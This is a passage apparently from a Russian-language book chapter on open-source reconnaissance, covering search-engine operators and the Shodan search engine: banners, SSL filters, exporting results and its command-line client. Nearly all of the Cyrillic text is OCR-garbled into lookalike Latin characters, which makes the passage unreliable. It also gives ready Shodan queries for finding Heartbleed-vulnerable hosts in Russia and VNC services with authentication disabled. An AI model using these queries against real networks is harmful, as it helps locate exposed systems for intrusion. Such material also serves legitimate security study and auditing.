SHmeKc, Kak U Apyrue TMONCKOBbIE CUCTEMBI, YMEET UCKATDh (DailjIbl ONpeeIeHHOTO
THUIIA, HO B OTJIMYUE OT APYTHX MCIOJIb3YeT COOCTBEHHBIN onepaTop mime:. ITouck
(aiina Exel ¢ oTuetaMn MOKHO COCTaBUTH TaKUM 00pasoM: oT4yeT mime:x1s. IToj-
JIEPKUBAETCA MOUCK 110 pasubiM Tuiam (aiinos: pdf, rtf, swif, doc, xls, ppt, docx, pptx,
xIsx, odt, ods, odp, odg.

Cuetyiotiiue HECKOJIBKO OTIEPATOPOB IIOMOTYT BaM OTPAHUYUTH TOUCK MHMOPMAIINN
TOJIBKO II0 pecypcam, IPUHAJIeKAIMM KOHKPETHOH uccJienyeMoil nHGpacTpyKType,
UX B GOJIBIINHCTBE CTYIAEB U MCTIOMB3YIOT CIIENUATNCTHI TT0 HHMOPMATHOHHOTT 6e30-
nactocTu. Tak, orepaTop host: orpaHMyYUT IIOMCK 110 OlIpe/ie/IeHHOMY XOCTy: login
host:usatoday.com. Oneparop rhost: MPOUHCTPYKTUPYET MMONCKOBYIO CHCTEMY
OCYIIECTBUTD TOUCK 110 obparibiM DNS-3anucsiM: login rhost:com.usatoday. *.
Omeparop site: MOMOXKET € TIOUCKOM BCEX CYGOMEHOB MHTEPECYIONIETO BAC TOMEHA.
ITO OYEHDb Ba)KHO TIPU UCCJIE0BAHNH 11eJIeBON MH(MOPMAIIMOHHON cucTeMbl. YacTo
MMEHHO B Cy0IOMEHAX PACIIOIATAIOTCST HAMMEHEE 3alUIIEHHbIE CHCTEMbI, TAKHE KaK
TECTOBBIE CPE/IBI JIJIsT Pa3pabOTUNKOB WK CTapble Bepcuu caiitoB. Eiite ofun orepa-
TOP, Ha KOTOPBIi CTOUT 06PATUTh BHUMAHNE, 3TO domain:, IMEHHO OH OTPaHIYNBAET
TOMCK KOHKPETHBIM IOMEHOM, TTPUYeM JII0O0TO YPOBHSI.

MHTepecHbli onepaTop, KOTOPbII BBeJIM pa3paboTynkn JHIeKCKa, — cat:, 03BOJI-
IOIUI OCYIIECTBIIATD TIOUCK IO caliTaM OTIpeIeIeHHON KaTeTOPUU U, COOTBETCTBEHHO,
HUCKJII0YaTh BCe OCTaJIbHbIE.

Mbl paccMOTpesH ajieKo He Bce OllepaTophbl, MO3BOJISAIONINE ceaTh paboTy 1o
HOKMCKY MHMOPMAIMK MeHee TPy103aTpaTHOM. XOTst aBTOpP cTapajics mogodparh Hau-
6oJiee YaCTO BCTpeYaeMble KOHCTPYKIINH, BCE K€ OCTATI0Ch MHOTOE, YTO BaM TIPHUJIETCST
CaMOCTOSTE/NbHO U3YUUTh, OJIATO st KAXKOU U3 YIOMSIHYTHIX IIOMCKOBBIX CHCTEM
ecTb o0MIeocTyIIHas JoKkyMeHTalus. Ho gake sTHX 3HAHMIT BaM XBaTUT JIJIs TOTO,
4T0OBI HauaTh paboTaTh B pasbl apheKTHBHEE U CBOGOIHO MPHCIIOCabIMBATH 3AIIPO-
CblI, HATTUCAHHbIE JIJIS OIHOU MMOMCKOBOW CUCTEMBI, K JIPYTOIA.
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B COBPEMEHHBIX PEaTNAX KOJTNIECTBO ZIOCTyHHOfI I/IH(l)OpMaLII/II/I C KaK/IbIM 9aCOM
CTaHOBUTCA BCe 60]Ibl_[Ie, II09TOMY yM€eHHE pa6OTaTI) C Heﬁ, HaXoAuTb HYKHOE, OT/i€e-
JIATh 6ecII0Ie3HbLI ITyM OT IHEHHBIX /IaHHBIX CTAHOBUTCA H€O6XOZII/IMBIM JKHU3HEHHO
Ba’KHbIM HaBbIKOM, KOTOprfI CJIeyeT MMOCTOAHHO Pa3BMUBATbD.

Cneumnan N31UPOBaHHbIE NMONCKOBbIE CUCTEMDI

IMouck yskoceman3npoBaHHON WHMDOPMAIIN, 0COOEHHO €CJIU PeUb HIET O TEXHU-
YECKMX JaHHBIX, MOJKET ObITh CYIIECTBEHHO 3aTPYAHEH IIPU UCIIOIb30BAHUN OOBIYHBIX
HOMCKOBBIX CUCTEM, Belb OHM U OBLIM CO3AaHbI A5 APyrux 1ejaeil. OqHako mpo-
rpecc He CTOUT Ha MeCTe, ¥ TOCKOJIBKY €CTh CIIPOC, TO eCTh U Tipesiokenne. B Cetn
CYIIECTBYET HECKOJIBKO MOMCKOBBIX CHCTEM, OCHOBHOM 3a/aueil KOTOPBIX SIBJISIETCST
cbop texanuecknx gaHHbix VIC. Takske OHU PEIOCTABISIOT BO3MOKHOCTD YI0OHOTO
noucka 1o cobpannoii uadopmanmu. Heo6Xoa1uMo OMHHUTD, 4TO, KaK 1 B OObIYHBIX
MTOMCKOBBIX CHCTEMAX, JIAHHBIE JTAHHBIE MOTYT OKa3aThCs yCTAPEBINUMU, BE/Ib TIOUCK
IIPOUCXOIUT 110 paHee cOOPAHHOI 1 IPOUHAEKCUPOBAHHOI Oase JaHHBIX.

Shodan

[TepBoii U3 cIENUATM3UPOBAHHBIX MOMCKOBBIX cricTeM paccmorpuM Shodan. Shodan
noxoska Ha Google nim Bing, ojHako mpeicTaBbre, YTO Bl XOTUTE HANTH He TIpe/-
CTaBJIEHHYIO Ha caiiTe opranuszainuu HHGOPMAIUIO, a KOITHYTh HECKOJIBKO TIyOKe
U MMPOAHAJIU3NPOBATH TEXHUYECKUE XaPAKTEPUCTUKH 11€JIEBOU CUCTEMBl — y3HATh
BEPCHUI0 YCTAHOBJIEHHOTO MTPOTPAMMHOTO 00€CTICUeH ST MU TPOBEPHUTD CETh Ha Ha-
myrie FTP-cepBepa ¢ aHOHUMHBIM f0cTyTIOM. OOBIUHbBIE TIOMCKOBbBIE CHCTEMBI HE
MIO3BOJISIIOT HTOTO ¢/le/IaTh, a BOT Shodan — mo3Bosistet.

Shodan creranusupyercs Ha IOUCKe TeXHUYECKON, HEBUANMON 0OBIYHOMY IOJIb-
30Barenio nHGOPMAIMN O MOAKIIOYEHHBIX K MHTEPHETY YCTPOWCTBAX, U €€ TAKKe
Ha3bIBAlOT «GOOgle [JI XaKEPpOB». B OT/INYNE OT TPpa/IMITMOHHBIX ITIOMCKOBBIX CUCTEM,
Shodan mmer ne Be6G-cTpaHMIBI MM KOHTEHT, a METaJaHHbIE YCTPOICTB U CUCTEM.
Shodan mMoskeT OMOYb crIenUaIMcTaM 110 O€30IACHOCTH, UCCIEN0BATENAM 1 XaKepaM
HAiiTH ySI3BUMbIE CUCTEMBI, BbISBUTH He3allMIIIEHHbIE CETH 1 coOpaTh MHPOPMAIUIO
O ITIOTEHIIMAJIbHBIX ITeJIAX.

OpnHoit 13 ocHoBHBIX (yHKIMI Shodan saBisiercs uaeHTUGUKAIM U KIaccurKa-
ITUST YCTPOICTB U CUCTEM, TIOAKIIOUEHHBIX K MHTEPHETY. Clo/1a BXOJSIT KOMITHIOTEPDI,
cepBepbl, MapIIPyTU3aTOPbI, BeO-KaMepbl, IIPOMBbIIILJICHHbIE CUCTEMbI YIIPaBJIeHUsI
U MHOTHE JpyTHe TUIIbI yeTpoiicTB. Shodan mos3BoJisier moib3oBaTe/siM UCKaTh 9TH
YCTPOICTBA HA OCHOBE PA3JTMYHBIX MTAPAMETPOB, TAKUX KaK reorpahudeckoe moJio-
JKEeHUE, OTIepalliOHHAs CUCTEMa, OTKPBITBIE TIOPTHI U MHOTOE JIPYTOE.

Eute oxnoit Baskuoit pyukumeii Shodan gasiisgercs BbigB/IeHNe YI3BUMOCTEI U IIPO-
6s1eM 6e30TIaCHOCTH B YCTPOMCTBAX, MOAKMIOYEHHBIX K MHTepHeTy. Shodan MoxHO
MCIIOJIB30BATh JIJI5I TIOUCKA YCTPOMCTB, KOTOPbIe UMEIOT N3BECTHBIE YSI3BUMOCTH WU
HeMPaBUIHHO HACTPOEHDI, UTO JleJIaeT MX GoJee YA3BUMBIMU I aTak. Takum o6pa-
30M, Shodan MOJKHO MCTIO/IB30BATH KaK MHCTPYMEHT JIJIsT CIETIMATHNCTOB TI0 Ge30mac-
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HOCTHU ITPU BBIABJICHNN N CHUKEHUN PUCKOB 6630HaCHOCTI/I, a TaKyKe€ KaK THCTPYMEHT
U XaKePOB ITPU HaXOKAEHUN ITOTEHITNAJIbHbBIX HeJIefl JJIA aTakK.

ITonckoBas cucrema AOOCTYIIHA TI0 a/Ipecy shodan.io IIpearaeT IMoJib30BaTeIsAM /IBE
BEpCUMN — IVIATHYIO 1 6eCHJIaTHyIO. B GecriaTHoll ecThb OrpaHn4YeHne Ha KOJIMYECTBO
IIpOCMaTPUBAEMbBIX PE3YJIBTATOB, HO JIJII HAINX 1eJieli BIIOJIHE XBaTUT U €e.

Jluis Hawasia poBeieM KPaTKuil 9KCKYPC B CTPYKTYPY JaHHbIX, Pa3bepeMcst ¢ OCHOB-
HBIMY TOHATUSMU.

BbaHHep

BanHep — 3T0 OCHOBHOI THII IAHHBIX, ¢ KOTOPBIM padoTaet Shodan. BauHep ciry:x0bl,
TaKsKe M3BECTHBII Kak Gantep cepsepa (MPUIOKEHVST UIN CEPBICA), TTPEICTABIISIET
co6oii coobireHne, BO3BPAIAeMOe CETEBOH CIIysKOO0i TIPH MEPBOM TOIKIIOUEHUH K Hell
kieHTa. BanHep 00bIYHO COIEPKUT MH(MOPMAIIMIO O BEPCUH TPOrPAMMHOTO 0hecTiede-
H¥isT, pabOTATOTIETO HA CePBEPE, a TAKIKe IPYTHE CBEEHNS O CITYKOe MITH TIPUTOKEHUH.

CuysebHble GaHHEDBI IPELOCTABIIIOT MOAE3HYI0 NH(OOPMAINIO I CHCTEMHBIX
AIMIHUCTPATOPOB U CIIEIMATNCTOB TT0 HE30TTACHOCTH, TIOCKOIBKY OHI MOTYT TOMOYb
OTPE/IETUTH TUT U BEPCUIO TIPOTPAMMHOTO 06ecTiedeHust, paboTalolero Ha cepBepe.
IJra I/IH(I)OpMaL[I/IF{ MOKeT 6bITb HNCIIOJIb30BaHa /1JId BbIABJICHWA ITOTEHIIMAJIbHBIX
YS3BUMOCTEN.

OpHako GaHHEpBI TaKKe ABJIAIOTCA YIPO30i GE30MACHOCTH, €CJI OHU TIPEI0CTaB-
JISTIOT CJTMIITKOM MHOTO WH(OPMAIMK O MPOTPAMMHOM 00ecIiedeHIH, PaBGOTAOIIEM
Ha cepBepe. ATaKyIoIIiie MOTYT UCIOJb30BaTh 3Ty HH(MOPMAIIUIO [IJIST BBISBIEHUS
YSI3BUMOCTEH MJIH TIOMCKA OMPEIEIEHHOTO TPOTPAMMHOTO 00eCeYeH s, ySI3BUMO-
ro Juist atak. [1o 3TOi NpUYMHE MHOTHE 9KCIEPTHI 10 GE30MACHOCTA PEKOMEH/YIOT
OTKJIIOYATD UM MOAU(PHUIIMPOBATH CIyKeOHbIe GaHHePHI, YTOOBI PETOCTABIATH
MUHIMAJIBHYIO HHHOOPMAIIIIO O CEPBEPE N TPUIOKEHUH.

Ipeacrasum Tunnanbii HTTP-6antep:

HTTP/1.1 200 OK

Cache-Control: private

Content-Type: text/html

Server: Microsoft-IIS/10.0

Set-Cookie: ASPSESSIONIDSACRSADQ=EPGNLCICIDIHBMBMJJCMLABK; path=/,
SameSite=None;path=/; HttpOnly;secure;

X-Powered-By: ASP.NET

p3p: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC
NOI DSP COR'

Date: Wed, 15 Feb 2023 17:21:00 GMT

Content-Length: 119

U3 moJiy9eHHBIX JJAHHBIX MOKHO 3aKJIFOUNTH, 4TO CePBEP PabOTAET MO/ YITPaBICHUEM
Microsoft-11S Bepcun 10.0, a 115t cosmanmst caiita HCIIOIb3YETCS TEXHOJIOTHS Active
Server Pages. bantepbl MOKHO MOJYYUTH HE TOTBKO OT BeO-CEPBEPOB, HO TAKKe
or FTP, SMTP, SSH u apyrux cepsucos. Shodan noiepskusaer usbrpariuio mo
MHOKeCTBaM TI0JIel, Cpeid KOTOPBIX:
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data (ocroBHuas nadopmarus — HTTP /1.1 200....);
ip (IP-ampec B nienouncientom opmate 15826581);
port (HOMep mopTta — 54);

hostnames (ums xocTa, Haripumep webmail);

os (omeparmonHas cuctema — Linux).

SSL

SSL (Secure Sockets Layer) obecrieunBaer 6e30MacHOCTh HHTEPHET-COEIUHEH M
1 HE TT03BOJISET MOCTOPOHHUM YUTATD WJIA U3MEHSATh MH(MOPMAINIO, TIepe/laBaeMyto
Mexxy aByMs cuctemamu. [{ludpoBoit SSL-ceprudukar yzocroBepsieT moimHHOCTh
BeO-caiita 1 obecrieunBaet 3amndpoBaHHOE coeluHeHre. B HAacTOsIIIIee BpeMst TPY/I-
HO MIPEJICTABUTD ceOe CePBIC, KOTOPBIN ObI He UCTIOIB30BaJ MH(POBaHie (XOTsI OHU
BCe JKe BCTPEYAIOTCsT), TO BAsKHO HE TOJIBKO JIIst obecriedeH st 6e30MacHON KOMMYHU-
Kal[¥H, HO U C TIeJIbIO TIPOJIBUIKEHUS B TIOUCKOBBIX CUCTEeMaX; Tak, Google yixe maBHO
MOHVZKAET PEUTUHT CTPAHMUIL, HE UCITOIB3YONTUX 9Ty TEXHOJIOTHUIO.

Korna Be6-Opaysep MOAKIIOUAETCA K BeO-CepBepy ¢ IOMOMIBIO SSL, IIepBhIM Iarom
SIBJISIETCST YCTAHOBJIEHIE GE30MACHOTO COEIMHEHUST MEK Ly HUMU. Pykomoskarue SSL
(handshake) — ato nporece, KOTOPBII TPOMCXOAUT MEKIY Beb-OpaysepoM 1 BeO-
cepBepoOM, KOrJja OHU BIIEPBbIE YCTaHABAUBAIOT GesomacHoe coeaunenye. [Ipomece
pykonoskarust SSL nipeHasHaueH [7ist obectiedeHst Ge30macHO cBsi3u BeO-Opaysepa
u BeG-cepBepa, a TaksKe JJIs YCTAHOBKY IIAPaMETPOB 9TOi Ge30aCHOMN CBSBHL.

ITporiecc pykonoskarust SSL HAUMHAETCST € TOTO, 4TO BeO-Gpaysep OTIPABJISIET 3aIIPOC
Ha BeG-cepBep IS yCTAaHOBJIEHUsT 6e30TaCHOTO COeMHEH s, 3aTeM BeG-cepBep OTBe-
yaeT cBouM SSL-cepTrduKaToM, KOTOPBLIA CONEPKUT OTKPBITBIN K104 cepsepa. B cBoio
ouepe/ib, Beb-Opaysep nposepsier ceprudukar, 4To0bl yOeaUThCs, YTO OH JeHCTBUTE/IEH
1 BBIJIaH JIOBEPEHHBIM IeHTpoM cepTudukaimu. Eciau ceptudukar nelicTBuTeNeH,
BeO-Opaysep TeHepupyeT CIy4aiiHblil CAMMETPUYHbLI KJII0Y, KOTOPBII UCIOJIb3YeTCsI
Juist inbpoBaHus Beell ajibHeliinei cBsasyu Mex 1y BeO-OpaysepoM 1 BeO-cepBepoM.

3areM BeO-Gpaysep OTIIpaBJIAET CUMMETPUYHBIN KIT0Y Ha BeG-cepBep, 3anmdpoBan-
HbIIT ¢ TOMOIIBIO OTKPBITOTO KJIF0Ua cepBepa. BeG-cepBep Ucosb3yeT CBOM 3aKPhITHI
KJTIOY J715T PACITUGPOBKI CUMMETPIYHOTO KITI0Ua, a BeG-Opaysep u Beb-cepBep Temeph
UMETOT OBIIHIT CEKPETHBIN KITI0Y, KOTOPBII OHU MOTYT UCTIOJb30BATh /15T N poBa-
HUA 1 pacGPOBKHU BCEX AAIbHEUIINX KOMMYHUKAIIAA.

IIporecc pykomoxatust SSL rapanTupyer, yto Be6-Opaysep U BeG-cepBep MOTYT
6e3011acHO 0OMEHUBATHCS JAHHBIMU, a JIIOObIE JaHHble, [IepeJaBaeMble MKy HIMU,
3aIUIEHBI HAICKHBIM MHu(poBaHueM. PyKomokaTue sIBJASETCS BaKHBIM ITATOM
B YCTaHOBJIEHUHU GE30IIACHOTO COeJUHEHM U IIPeHA3HAYEHO [JIsl 3alUThl OT aTak
«4eJI0BEK rocepeantes (Ipu KOTOPBIX /IS [IepexBaTa JAHHBIX UCIIOAb3YIOTCS METO-
JIbI, TIO3BOJISTIONINE BHEJPUTHCS B CYIIECTBYOIIEE TIOAKITIOUEHUE UJIH TPOIIECC CBSI3H)
U IPYTUX yrpo3 6e3011acHOCTH.

SSL Takske mpenocTaBisieT MEXaHU3MBbI JIJst TIPOBEPKU MTOJJIMHHOCTH Beb-cepBepa
C UCIOJIb30BaHUEM TTHU(MPOBBIX CePTU(HUKATOB, BbIJITABAEMbBIX JIO0BEPEHHBIMU YI0-



52 aBa 03 ¢ C60p OTKPLITON MHDOPMaLIMK O LienU

CTOBEPSIONMUMI OPTaHU3ANUSIMU. DTO FAPAHTUPYET TOJb30BATENI0 BO3MOXHOCTD
yOeIUThCS, UTO OH B3aMMOIEHCTBYET ¢ TIPABUJIBHBIM BeO-CepBEPOM, a He ¢ MOIIIEH-
nuueckuM. B iesiom SSL oGeciednBaet Ge30macHbIil M HaJeKHbIN Crioco0 mepegadn
yepe3 UHTepHET KOHGUAEHIIMATbHBIX JAHHBIX, TAKUX KaK MapoJiu, (hpuHaHCOBbIE
TPaH3aKIMKU 1 JTNIHasT nHGOPMaIHs.

bannepsr ot cepBucos, ucnosp3yionux SSL, comepkat MHOTO JIOTTOJTHUTETHHOH
undbopmarmn. [IpuBenemM HeCKOTBKO TIPUMEPOB QUITBTPOB:

® ssl (TIOUCK TI0 BCEM TIOJISIM );
® ssl.version (Bepcus nporokosa — SSLv2, TLSvl u . 11.);

® ssl.cert.expired (3aKOHYMIICS JI CPOK JeiicTBus ceprudukara — True, False).

Mouck ys3BuMocCTeii

[Tockonpky GecraTHast BepcHs He IIPeI0CTaBIseT BO3MOKHOCTH UCKATh 110 Oase
JaHHBIX YSI3BUMOCTEN, @ MBI MCIIOJIb3yeM MMEHHO OECIIaTHYIO BEPCHIO, TO PACCMO-
TPUM BCETO JIMIIb OJNH MPUMEP TIOMCKA € JOCTaTOYHO HANTyMEBIIEH ySI3BUMOCTHIO
Heartbleed.

Heartbleed — ysissumocts B OpenSSL, mo3Bosistionias packpbITh KOHPUACHIIHATb-
Hbl€ JJAHHbIE, BKJIIOYAsT YUETHbBIE IaHHbIE JIJIsT Ay TeHTUMDUKAIINN TI0Th30BATES U Ce-
KpeTHble K1oun. Ysssumble Beperun OpenSSL ¢ 1.0.1 mo 1.0.1f conepskar ommbky, mo-
3BOJISTIONTYTO acTsiMu 1o 64 KGalit 3a ofinH pa3 moJydarh CIeAyonyo HHHOpMaIuio:;
KJIIOY M M POBAHUSI, NMeHa TT0JIb30BaTe el U apoJiu, KOHPUAEHIINAIbHbIE TAHHbIE,
azipeca aMsITH U COJIEPIKUMOE, KOTOPhIE MOJKHO UCIIOJIb30BATh JIIst 00X0/1a CPEJICTB
3alIUTHI OT IKCIIONTOB. Bostee 1oapo6bHyI0 MHGOPMAITIIO 1 SKCILIIONT MOYKHO HANTH
10 3a1pocy CVE-2014-0160.

Eciu cepsuc ysizsuM juist Heartbleed, To 6antep comepKuT iBa IOMOTHUTETBHBIX
napaMerpa — opts.heartbleed u opts.vulns. O6paTure BHUMAHUE, YTO [T TECTA
HA HAJINYUE JAHHON YSI3BUMOCTU TIOMCKOBAsT CUCTEMA TIOJTyYa€eT JIUITh HEOOIBIITY O
4acTb JaHHBIX. MOKHO BBITTOJTHUTD TIONCK IaHHOH ysa3BuMocTH B Poccuu, ncnosbayst
cIeyTomuil 3ammpoc: contry: RU vuln:CVE-2014-0160.

Mouck uepe3 Beb6-uHTEepdeiic

ITo yMoJTYaHUIO TOUCKOBAsI CUCTEMa IPOCMATPUBAET TOJHKO OCHOBHOM TeKCT GaHHE-
pa U He YYUThIBaeT MeTafanubie. Hanmprmep, eciiu BbI uiliete Google, TO Pe3yIbTaThl
HOKCKa OYyT BKJIOYATh TOJBKO T€ CHCTEMBbI, B OaHHEPE KOTOPBIX IIPUCYTCTBYET KO-
yeBoe ¢10B0 «Google», a 9T0 3HAYUT, UTO TOMUMO CEPBEPOB OHOMMEHHOM KOMITAaHUH
BBI HalijleTe MHOKECTBO JIPYTUX CUCTEM, KaK TToKa3aHo Ha puc. 3.13.

[TpoananuanpoBaB JaHHbI 3aMpoc, yBUAMM, 4To Shodan BBIIaeT cepBepbl, KOTOpHIE
IS cBOE# paBoTHI UCTIOMB3YIOT cepBrChl Google. /l7st Gosiee TOYHOTO TIpesICTaBIe-
HUSI TAHHBIX TOTPOOYEM MCTOIb30BaTh (GUABTPLL. DUIBTPBI — 3TO CrienanbHble
KJIIOYEBBIE CJIOBA, KOTOPBIE MO3BOJIAIOT TIOMYYUTH HYKHYIO MH(MOPMAIUIO U3 Habopa
JAHHBIX, TPEIOCTABJISIEMbBIX CEPBHUCOM.
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Puc. 3.13. Pe3ynbTat noncka no kio4eBoMy croBy Google

Pacemorpum obiue mpasusia paboTsl ¢ huasTpamMu. Mesxkay GuibTpoM U 3Hade-
HUEM BCETJIa JI0JIKHO CTOSITh JIBOETOUME U HE JIOJKHO ObITh 11pobesa. Dunbrp st
cepBepoB, HaxoasAmmxcst B Jloc- AHkenece, 6y/1eT BBITJISAETD CAELYIONUM 00pa3zoM:
city:"Los Angeles" (puc. 3.14).

Puc. 3.14. Pe3ynbTaT noncka Bcex cepBucos, paboTtatowmx Ha nopte 8080
B Jloc-AHpkenece
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HekoTopblie GUIBTPHI TTO3BOJISIOT YKA3bIBAaTh HECKOIBKO 3HAYEHNI; TaK, HAIIpUMep,
3a1poc I MTOMCKa CEPBUCOB, IpUHUMalONX coeaunenus 1o nopty 80 (HTTP)
u 8080 (Alt-HTTP), Gyner cirepyomum: port : 89, 8080.

Jluist uckJIouenust U3 MOMCKa HEKOTOPBIX 3HAYEHUI TTPUMEHSIETCST CUMBOJI -. Tak
OyJIeT BBITJISIIETD 3a1TPOC, ECJIM HAC HE MHTEPECYIOT CePBEPbI, HAXOISIIUECS B OIIpe-
JleJIeHHOM MO/ICeTH: -net:125.58.96.0/24.

PaccmoTtpuM npumep roucka cepsuca, UCIOJIb3YIONIEro HecTaH1apTHeIi nopt. Ta-
KOI1 3aITyCK CEPBUCA — OJIUH U3 CIIOCOOOB CKPBITH €r0 OT IIOCTOPOHHUX rJ1a3. U xotst
3aIMTa, B OCHOBE KOTOPOU JIEKUT MPUHITATI TTPOCTOTO COKPBITHAST MH(MOPMAITNH,
cunrtaercs HeahPeKTUBHOH (a yTo ellle XysKe, 9TO MOXKET CO3/1aTh Y BIIalesIblia JI0XK-
HOE 9yBCTBO GE30MACHOCTH ), TUM ITPUEMOM BCE PABHO TIPOIOJIKAIOT MOJIh30BATHCS
noBoJIbHO Yacto. Hampumep, naBaiite mocmorpum Ha cuctembl OpenSSH, ucmoss-
3yionire HectanaapTabiil mopt (puc. 3.15). [lusa naxoxaenus cuctem OpenSSH,
WCITOJTb3YIONINX HECTaH/IaPTHBIHN MMOPT, IPUMEHNM CJIeIyIONINH TOMCKOBBIN 3aITPOC:
product:openssh -port:22.

Shodan Report ... i Total: L762,545

2 Product Versions

Puc. 3.15. OTyeT No 1cnonb3oBaHMIO HECTaHAAPTHbLIX NOPTOB Ans cepBuca OpenSSH

O6parute BHUMaHue Ha 11oJie Ports. B HeM cirepyiomue JaHHbIe:
e 2222 — 511640;

222 — 57030;

3389 — 48371;

999 — 47508;

50000 — 43867.
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Itu nudpbl He KasKyTCst caydalHbIMEU. BhIGOD alMUHUCTPATOPOM HECTaHAaPT-
HOI'O II0PTa MOKET ObITh He TAKUM Y3K YHUKaAbHbIM. [TopT 2222 nomy/sipeH, Kak
n iopt 8080 syt HTTP. Cremytomuii 1o normyasspHOCTH TOPT — 222, KOTOPHIH T10-
JIYUHUJICS TIPOCTO 0OABIEHUEM €ellle OJJHON JIBOMKY K CTaHAAPTHOMY TIOPTY. B ¢BOIO
ouepelib, 1opT 3389 Mcnosb3yeTcs IS YAAJIEHHOIO A0CTYIa K pabodyeMy CTOJLy
B OIlepallMOHHbBIX cucteMax Windows. ITOT BBIGOP TOKE HEJIb3sT HA3BATh CJYUAHBIM.
Taxske 13 9TOr0 OTYETA BUIHO, UTO Yallle BCETO JIOOST HCIIOIb30BaTh HECTaHIaPTHBIE
noptsi st 3arycka OpenSSH B CIIIA, Tepmanuu, @pannnu u Kurae.

SKCNopT pe3ysibTaToB

[Toce 3aBepiTeHNsT MONCKA BBEPXY MOSIBUTCS KHOIKA 3arpy3uTb AaHHble. Haskas Ha
3Ty KHOIIKY, BBI TIOJTyYUTe BOBMOKHOCTH 3aTPY3UTh PE3YJIBTAThI TIOMCKA B hopMaTax
JSON, CSV i XML.

B dopmare JSON kaskmast CTpoKa COAEP;KUT TONHBIN GaHHED U BCE COIYTCTBYIOIIIE
MeTajlaHHble, KoTopbie cobmpaer Shodan. IToT hopMaT mpeAmouTUTENEH, TaK KaK
B HEM COXpaHsieTcst Besi locTytnast urdopmarust. GopMaT COBMECTUM ¢ KITMEHTOM
KoMaHiHO cTpoku Shodan, 4To aeT BO3MOKHOCTD 3arpysKath JJaHHbIe ¢ BeG-caiiTa
Shodan, a 3aTem o6pabarbiBaTh UX € OMOIILIO TEPMUHAJIA.

[Tpu ncnospzoBarmu hopmara CSV BeI Momyvaere daiin, conepskanmmii [P-anpec,
nopt, 6aHHep, Opraiu3aluio u uMeHa XocTos. M3-3a orpannuenuii popmara daii-
na CSV B HeM cozepkuTes He Best uHdopMmanus, cobupaemas Shodan. Vcnosnbayiite
aTOT (hopMaT, eCJIM BaC UHTEPECYIOT TOJIBKO OCHOBHBIE PE3YJIBTATHI U BBl XOTUTE
OBICTPO 3arpy3uTh HHMOPMAIIUIO B TAKHME BHEITHIE HHCTPYMeHTHI, Kak Excel.

XML — ycrapeBiuii criocod coxpaHeHusT pe3yasraToB morcka. C HUM Tpy/IHee pa-
6orarh, veM ¢ JSON, 1 oH 3aHUMaeT 6OIbINE MECTa, YTO BO MHOTUX CTyJasx JeJiaeT
€ro UCIOJIb30BaHKE HEYI0OHBIM.

3anpocbl nonb3oBaTenei

K coskanennio, MHOT/Ia CJIy4aeTcs TaK, YTO My3a OTBOPAYMBAETCSI OT BaC U PEIICHIe
TeKyIeil Ipo6eMbl CTAHOBUTCS HEIIOCUIbHOI 3agaueil. [JIs II0MCKa BIOXHOBEHMSI
1 HOBBIX UJI€il CTOUT MTOCMOTPETD, YTO UIIYT JAPYTHE MOJTb30BATENN U KaK OHU (POp-
MUPYIOT CBOM 3aIIPOChI, YTO JIOCTYITHO B paseJie Recently Shared (puc. 3.16).

Mouck nsobpaxkeHumii

OnHOM 13 MHTEPECHBIX 0OCOOEHHOCTEN JAHHOI OUCKOBOI CHCTEMBI ABJISETCS BO3-
MOKHOCTb ITPOCMOTPA COXPAHEHHBIX CHUMKOB 3KpaHa, [IJIs MOJYYeHUs TOCTyIa
K 9TUM JaHHBIM HeOOXOMMO IIPUMEHUTH GUIbTp has_screenshot. Shodan nosyyaer
9TH JAHHbBIE OT CaMbIX pasJUuHbIX cepBrcos, Hanpumep VNC, RSTP, X Windows.
Kaskoe nsobpaskeHre MoCTyImaeT OT ONPEAETIEHHOTO CEPBICA, TOATOMY €CJIU BbI XO-
THTE II0JIyYUTh COXPaHEeHHOe n3o0paxkeHue ¢ IP-kamepsl, BaM HEOOXOAUMO 100aBUTh
uisTp http. A eci octaBuTh cebe 3aj1ady 4yTh MHTEPECHEE, TO MOKHO BBITIOJIHUTD
nouck cepucos, HaripuMep VNC, ¢ OTKIIOUeHHON ayTeHTUdUKAIMEH 0 3a1pocy
has_screenshot:true authentication disabled.
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Explore: Recently Shared

Scagatecom

Saferoars Variable Message Signs

Puc. 3.16. Cnrcok HeaaBHO OMy6IMKOBaHHbIX 3anpoCcoB Mosb30BaTenen

Pab6oTa c KOMaHAHOW CTPOKOM

Ecau 8ol cnionbayere cexyio seperio Kali Linux, To Bam He Hajo coBepiiaTh HU-
KaKWX JIOTIOJTHUTEJNbHBIX JAeVCTBUN /I TTOTyYeHUs TOCTyTIa K KOMaH/{HON CTPOKe
Shodan, aToT HHCTPYMEHT ysKe YCTaHOBJIEH 1 JOCTYTIEH s UCTIOIb30BaHus. ExuH-
CTBEHHOE, UTO HeOOXOAMMO ciiesiaTh, — no6asuTh API-kiiou. [Iyis ero moaydeHust
HeoOX0JUMO 3aperucTpupoBaThea Ha caiite shodan.io, a satem mepeiitu B pas-
nest Account — KJTI0Y IOCTYIIEH B OJTHOU U3 BEPXHUX CTPOK W HA3bIBAETCS COOTBET-
crByione: API key. Ckonupyiite ero B 6ydep o6MeHa, a 3aTeM BbIIIOJIHUTE KOMAH/LY:

$shodan init API_KEY

ITocne ycnenHoi perucTpaiui Bbl osrydute coodueHue Successfully initialized.

Huzke nepeuriciieHbl 0CHOBHbBIE KOMaH IbI, KOTOPbIE IPUTOAATCS TIpK paboTe ¢ JaHHON
IIOUCKOBOU CUCTEMOIL.

Alert. Komanma IIPEAOCTABJISAECT BOBMOKHOCTD ITIPOCMATPUBATh, OYUIIATD U YIAJIATH
CETEBbBIE OITOBEIIEHN ST, KOTOPbIE ObLIN CO3/IaHbI C NCITOJIb30BaHMEM APIL

Convert. IIpeobpasyer cxxatoiii (aitn JSON, crenepupoBanubiii Shodan, B daiin
npyroro opmara.

Count. BOSBpaHIaeT KOJIMYECTBO PE3YJAbTATOB /1JIs1 IOMCKOBOTO 3allpoca.

$shodan count nginx 1.9
1567

Download. OcyIecTBIsIET MOUCK U 3AITMCHIBAET PE3YJIbTATHI B (DAL, TIe KaxKaast
crpoka ssJsiercst 6arrepom JSON. ITo ymosruanuio 3arpyskaer toabko 1000 pesy.ib-
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TaTOB, €CJIM Bbl XOTUTE 3aTPy3UTh OOJIbIIIE, TO UCHOJIb3YITE MapamMeTp -limit. IToil
BO3MOKHOCTBIO HE CTOUT MpeHebperath, OHa MO3BOJSAET COXPAHSATH PE3YJIHTAThI
